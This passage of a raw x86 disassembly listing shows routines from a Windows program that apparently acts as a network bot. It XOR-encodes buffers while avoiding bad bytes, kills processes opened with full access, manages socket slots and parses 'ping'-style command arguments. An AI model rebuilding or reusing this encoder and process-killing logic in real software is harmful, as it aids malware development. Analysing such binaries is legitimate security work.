; ---------------------------------------------------------------------------


loc_426730:				; CODE XREF: ___:00426728j
		push	esi
		push	edi
		push	ebx
		call	sub_4013CA
		add	eax, 101h
		push	eax
		nop
		call	near ptr 77C2C407h
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_4013CA
		add	esp, 8
		push	eax
		push	esi
		call	sub_401794
		push	eax
		mov	eax, [esp+28h]
		push	esi
		push	ebp
		push	eax
		call	sub_401B8B
		push	esi
		mov	edi, eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 24h
		mov	eax, edi
		pop	esi
		pop	edi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4267A0	proc near		; CODE XREF: sub_4017C6j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_4267A9
		inc	ecx


loc_4267A9:				; CODE XREF: sub_4267A0+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_4267A0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4267D0	proc near		; CODE XREF: sub_401B8Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_C]
		cmp	bl, 0Ah
		jz	short loc_4267E8
		cmp	bl, 0Dh
		jz	short loc_4267E8
		cmp	bl, 5Ch
		jz	short loc_4267E8
		test	bl, bl
		jnz	short loc_4267E9


loc_4267E8:				; CODE XREF: sub_4267D0+8j
					; sub_4267D0+Dj ...
		inc	ebx


loc_4267E9:				; CODE XREF: sub_4267D0+16j
		cmp	ebx, 0FFh
		jbe	short loc_42680C
		mov	eax, ebx
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_426806
		cmp	al, 0Dh
		jz	short loc_426806
		cmp	al, 5Ch
		jz	short loc_426806
		test	al, al
		jnz	short loc_42680C


loc_426806:				; CODE XREF: sub_4267D0+28j
					; sub_4267D0+2Cj ...
		add	ebx, 100h


loc_42680C:				; CODE XREF: sub_4267D0+1Fj
					; sub_4267D0+34j
		push	ebx
		call	sub_4017C6
		mov	ecx, [esp+8+arg_4]
		add	esp, 4
		cmp	eax, ecx
		mov	[esp+4+arg_C], eax
		jbe	short loc_426825
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426825:				; CODE XREF: sub_4267D0+4Fj
		cmp	eax, 0FFFFh
		jbe	short loc_426830
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426830:				; CODE XREF: sub_4267D0+5Aj
		mov	al, byte_510124
		xor	edx, edx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		test	ebx, ebx
		push	esi
		jbe	short loc_426860


loc_426841:				; CODE XREF: sub_4267D0+8Ej
		mov	cl, [edx+ebp]
		xor	cl, al
		jz	short loc_426857
		cmp	cl, 0Ah
		jz	short loc_426857
		cmp	cl, 0Dh
		jz	short loc_426857
		cmp	cl, 5Ch
		jnz	short loc_42685B


loc_426857:				; CODE XREF: sub_4267D0+76j
					; sub_4267D0+7Bj ...
		inc	al
		xor	edx, edx


loc_42685B:				; CODE XREF: sub_4267D0+85j
		inc	edx
		cmp	edx, ebx
		jb	short loc_426841


loc_426860:				; CODE XREF: sub_4267D0+6Fj
		cmp	ebx, 0FFh
		push	edi
		mov	byte_510124, al
		ja	short loc_426893
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_446C5C
		mov	edi, edx
		mov	byte_446C69, bl
		mov	byte_446C6D, al
		rep movsd
		movsb
		mov	esi, 15h
		jmp	short loc_4268B9
; ---------------------------------------------------------------------------


loc_426893:				; CODE XREF: sub_4267D0+9Cj
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_446C44
		mov	edi, edx
		mov	word_446C52, bx
		mov	byte_446C57, al
		rep movsd
		movsw
		movsb
		mov	esi, 17h


loc_4268B9:				; CODE XREF: sub_4267D0+C1j
		xor	ecx, ecx
		pop	edi
		test	ebx, ebx
		jbe	short loc_4268CF
		add	esi, edx


loc_4268C2:				; CODE XREF: sub_4267D0+FDj
		mov	dl, [ecx+ebp]
		xor	dl, al
		mov	[esi+ecx], dl
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_4268C2


loc_4268CF:				; CODE XREF: sub_4267D0+EEj
		mov	eax, [esp+0Ch+arg_C]
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4267D0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426930	proc near		; CODE XREF: sub_401E3Dj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		xor	ecx, ecx
		lea	eax, [eax+eax*2]
		mov	dword_44B1AF[eax*4], ecx
		mov	dword_44B19B[eax*4], ecx
		mov	dword_44B19F[eax*4], ecx
		mov	dword_44B1A3[eax*4], ecx
		mov	dword_44B1A7[eax*4], ecx
		mov	dword_44B1AB[eax*4], ecx
		mov	byte_44AF9B[eax*4], cl
		mov	byte_44B1B3[eax*4], cl
		retn
sub_426930	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4269A0	proc near		; CODE XREF: sub_401370j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		push	ebx
		push	ebp
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	ecx, ebx
		jle	loc_426A57
		cmp	ecx, 400h
		jge	loc_426A57
		lea	eax, [ecx+ecx*2]
		push	esi
		shl	eax, 4
		sub	eax, ecx
		push	edi
		push	ebx
		lea	esi, [eax+eax*2]
		mov	eax, dword_44B1AF[esi*4]
		push	eax
		nop
		call	near ptr 2780A0Ch
		cmp	dword_44B1AF[esi*4], ebx
		jz	short loc_4269E8
		mov	ebp, 1


loc_4269E8:				; CODE XREF: sub_4269A0+41j
		mov	dword_44B1AF[esi*4], ebx
		mov	dword_44B19B[esi*4], ebx
		mov	dword_44B19F[esi*4], ebx
		mov	eax, dword_44B1A3[esi*4]
		cmp	eax, ebx
		jbe	short loc_426A11
		push	eax
		call	sub_401C80
		add	esp, 4


loc_426A11:				; CODE XREF: sub_4269A0+66j
		mov	edi, dword_511C9C
		mov	dword_44B1A3[esi*4], ebx
		mov	byte_44AF9B[esi*4], bl
		mov	byte_44B1B3[esi*4], bl
		mov	ecx, dword_44B1A7[esi*4]
		push	ecx
		call	edi	; closesocket
		mov	dword_44B1A7[esi*4], ebx
		mov	edx, dword_44B1AB[esi*4]
		lea	esi, ds:44B1ABh[esi*4]
		push	edx
		call	edi	; closesocket
		mov	[esi], ebx
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_426A57:				; CODE XREF: sub_4269A0+Cj
					; sub_4269A0+18j
		mov	eax, ebp
		pop	ebp
		pop	ebx
		retn
sub_4269A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426A90	proc near		; CODE XREF: sub_401DA7j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		xor	edi, edi
		mov	esi, offset dword_44B19F


loc_426AA1:				; CODE XREF: sub_426A90+52j
		mov	eax, [esp+10h+arg_0]
		mov	ecx, [esi-4]
		cmp	ecx, eax
		jnz	short loc_426AD5
		test	ebx, ebx
		jle	short loc_426AC7
		cmp	[esi], ebx
		jz	short loc_426AB8
		cmp	edi, ebx
		jnz	short loc_426AD5


loc_426AB8:				; CODE XREF: sub_426A90+22j
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_426AD5
		jmp	short loc_426AD4
; ---------------------------------------------------------------------------


loc_426AC7:				; CODE XREF: sub_426A90+1Ej
		push	edi
		call	sub_401370
		add	esp, 4
		test	eax, eax
		jz	short loc_426AD5


loc_426AD4:				; CODE XREF: sub_426A90+35j
		inc	ebp


loc_426AD5:				; CODE XREF: sub_426A90+1Aj
					; sub_426A90+26j ...
		add	esi, 234h
		inc	edi
		cmp	esi, offset byte_4D819F
		jl	short loc_426AA1
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_426A90	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426B10	proc near		; CODE XREF: sub_401C80j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
		push	eax
		push	0
		push	1F0FFFh
		mov	edi, 1
		nop
		call	near ptr 2710000h
		mov	esi, eax
		test	esi, esi
		jz	short loc_426B45
		push	0
		push	esi
		nop
		call	near ptr 27A0BFBh
		test	eax, eax
		jnz	short loc_426B45
		push	esi
		xor	edi, edi
		call	near ptr 2840881h
		nop


loc_426B45:				; CODE XREF: sub_426B10+1Dj
					; sub_426B10+2Aj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_426B10	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426B60	proc near		; CODE XREF: sub_40148Dj

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		xor	eax, eax
		mov	ecx, offset dword_44B19B


loc_426B6B:				; CODE XREF: sub_426B60+1Cj
		cmp	[ecx], edx
		jnz	short loc_426B70
		inc	eax


loc_426B70:				; CODE XREF: sub_426B60+Dj
		add	ecx, 234h
		cmp	ecx, offset byte_4D819B
		jl	short loc_426B6B
		retn
sub_426B60	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426B90	proc near		; CODE XREF: sub_401DA2j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		push	esi
		xor	esi, esi
		xor	eax, eax
		mov	ecx, offset dword_44B19B


loc_426B9E:				; CODE XREF: sub_426B90+1Fj
		cmp	[ecx], edx
		jz	short loc_426BB3
		add	ecx, 234h
		inc	eax
		cmp	ecx, offset byte_4D819B
		jl	short loc_426B9E
		mov	eax, esi


loc_426BB3:				; CODE XREF: sub_426B90+10j
		pop	esi
		retn
sub_426B90	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_426BD0	proc near		; CODE XREF: sub_401BEAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	edi
		xor	edi, edi
		mov	eax, offset byte_44AF9B


loc_426BD8:				; CODE XREF: sub_426BD0+18j
		cmp	byte ptr [eax],	0
		jz	short loc_426BEE
		add	eax, 234h
		inc	edi
		cmp	eax, offset dword_4D7F9B
		jl	short loc_426BD8
		mov	eax, edi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_426BEE:				; CODE XREF: sub_426BD0+Bj
		lea	eax, [edi+edi*2]
		push	esi
		shl	eax, 4
		sub	eax, edi
		push	1FFh
		lea	eax, [eax+eax*2]
		lea	esi, ds:44AF9Bh[eax*4]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		nop
		call	near ptr 77C47A90h
		mov	ecx, [esp+14h+arg_4]
		mov	edx, [esp+14h+arg_8]
		mov	[esi+200h], ecx
		mov	dword ptr [esi+204h], 0
		add	esp, 0Ch
		mov	dword ptr [esi+208h], 0
		mov	[esi+20Ch], edx
		mov	byte ptr [esi+218h], 0
		mov	eax, edi
		pop	esi
		pop	edi
		retn
sub_426BD0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426C70	proc near		; CODE XREF: sub_401613j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_426C70
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	7
		push	0Eh
		push	9
		push	10h
		push	4Fh
		push	13h
		push	0Fh
		mov	esi, ecx
		push	4
		lea	eax, [esp+68h+var_3C]
		push	4
		push	eax
		mov	dword ptr [esi+118h], 0
		mov	byte ptr [esi+11Ch], 0
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
sub_426C70	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	4
		push	15h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+28h]
		push	4
		push	edx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+32h]
		push	eax
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	ecx, [esp+28h]
		push	4
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+60h]
		push	eax
		push	edx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	10h
		push	0Fh
		push	14h
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	eax, [esp+2Ch]
		push	4
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		lea	ecx, [esi+0EAh]
		push	eax
		push	ecx
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Eh
		push	19h
		push	13h
		push	4
		push	13h
		push	4Fh
		push	13h
		push	0Fh
		push	4
		lea	edx, [esp+48h]
		push	4
		push	edx
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 4
		call	sub_4017EE
		add	esi, 8Eh
		push	eax
		push	esi
		mov	ecx, offset dword_449128
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_426EC0:				; CODE XREF: ___:loc_401B81j
		push	0FFFFFFFFh
		push	offset loc_43C9C4
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+50h]
		mov	ebx, ecx
		push	edi
		lea	ebp, [esi+7Eh]
		lea	ecx, [ebx+60h]
		mov	[esp+54h], ebp
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		mov	edi, dword_511B14
		test	eax, eax
		jnz	loc_427058
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		xor	ebp, ebp
		cmp	eax, ebp
		mov	[esp+4Ch], ebp
		jz	short loc_426F2B
		mov	ecx, eax
		call	sub_401DF2
		mov	ebp, eax


loc_426F2B:				; CODE XREF: ___:00426F20j
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 1
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 2
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 3
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 4
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	ecx, [esi+69h]
		push	ecx
		lea	ecx, [ebp+26h]
		call	sub_401FDC
		mov	dl, [esi+93h]
		mov	ecx, ebp
		mov	[ebp+8Fh], dl
		mov	al, [esi+94h]
		mov	[ebp+90h], al
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_427058:				; CODE XREF: ___:00426F01j
		lea	ecx, [ebx+8Eh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4271CA
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 5
		jz	short loc_42709B
		mov	ecx, eax
		call	sub_401BDB
		mov	ebp, eax
		jmp	short loc_42709D
; ---------------------------------------------------------------------------


loc_42709B:				; CODE XREF: ___:0042708Ej
		xor	ebp, ebp


loc_42709D:				; CODE XREF: ___:00427099j
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	1
		push	ecx
		mov	byte ptr [ebx+11Ch], 1
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 6
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 7
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+50h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	3
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 8
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	4
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 9
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FDC
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_4271CA:				; CODE XREF: ___:0042706Dj
		lea	ecx, [ebx+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_427339
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Ah
		jz	short loc_42720A
		mov	ecx, eax
		call	sub_40130C
		mov	ebp, eax
		jmp	short loc_42720C
; ---------------------------------------------------------------------------


loc_42720A:				; CODE XREF: ___:004271FDj
		xor	ebp, ebp


loc_42720C:				; CODE XREF: ___:00427208j
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	edx
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 0Bh
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	2
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Ch
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	3
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Dh
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	4
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 0Eh
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	eax, [esi+69h]
		lea	ecx, [ebp+26h]
		push	eax
		call	sub_401FDC
		mov	cl, [esi+93h]
		mov	[ebp+8Fh], cl
		mov	dl, [esi+94h]
		mov	ecx, ebp
		mov	[ebp+90h], dl
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_427339:				; CODE XREF: ___:004271DCj
		lea	ecx, [ebx+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4274E4
		push	95h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+10h], eax
		test	eax, eax
		mov	dword ptr [esp+4Ch], 0Fh
		jz	short loc_427379
		mov	ecx, eax
		call	sub_40178F
		mov	ebp, eax
		jmp	short loc_42737B
; ---------------------------------------------------------------------------


loc_427379:				; CODE XREF: ___:0042736Cj
		xor	ebp, ebp


loc_42737B:				; CODE XREF: ___:00427377j
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	1
		mov	byte ptr [ebx+11Ch], 1
		push	eax
		mov	ecx, esi
		mov	dword ptr [esp+58h], 0FFFFFFFFh
		mov	[ebp+91h], ebx
		call	sub_4016B8
		push	eax
		lea	ecx, [ebp+3Bh]
		mov	dword ptr [esp+50h], 10h
		call	sub_401FDC
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+18h]
		push	2
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 11h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+5Ch], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+18h]
		push	3
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 12h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+60h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+18h]
		push	4
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 13h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+14h]
		mov	[ebp+54h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	ecx, [esp+30h]
		push	5
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	dword ptr [esp+4Ch], 14h
		call	sub_4017EE
		push	eax
		call	edi	; atoi
		add	esp, 4
		lea	ecx, [esp+2Ch]
		mov	[ebp+58h], eax
		mov	dword ptr [esp+4Ch], 0FFFFFFFFh
		call	sub_401226
		lea	edx, [esi+69h]
		lea	ecx, [ebp+26h]
		push	edx
		call	sub_401FDC
		mov	al, [esi+93h]
		mov	[ebp+8Fh], al
		mov	cl, [esi+94h]
		mov	[ebp+90h], cl
		mov	ecx, ebp
		call	sub_4013DE
		mov	ebp, [esp+54h]


loc_4274E4:				; CODE XREF: ___:0042734Bj
		lea	ecx, [ebx+0EAh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_427501
		mov	[ebx+11Ch], al


loc_427501:				; CODE XREF: ___:004274F9j
		mov	ecx, [esp+44h]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	4
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 1A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4276C0	proc near		; CODE XREF: sub_401A78j

var_4		= dword	ptr -4

		push	ecx
		mov	edx, dword_449A14
		push	esi
		mov	esi, ecx
		mov	eax, [esi+91h]
		mov	ecx, [eax+118h]
		cmp	edx, ecx
		jl	short loc_4276E1
		inc	ecx
		mov	[eax+118h], ecx


loc_4276E1:				; CODE XREF: sub_4276C0+18j
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+8]
		mov	eax, [esi+91h]
		mov	[esp+8+var_4], esi
		mov	ecx, [eax+118h]
		dec	ecx
		mov	[eax+118h], ecx
		lea	ecx, [esp+8+var_4]
		push	ecx
		mov	ecx, offset byte_4E8EAB
		call	sub_40120D
sub_4276C0	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_427740	proc near		; CODE XREF: sub_40130Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_427740
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F9B
		push	offset aPing	; "ping"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43F0DC
		call	sub_4015E1
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_427740	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4277B0	proc near		; CODE XREF: sub_401F9Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4277B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+11h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+26h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		lea	ecx, [esi+3Bh]
		mov	byte ptr [esp+14h+var_4], 2
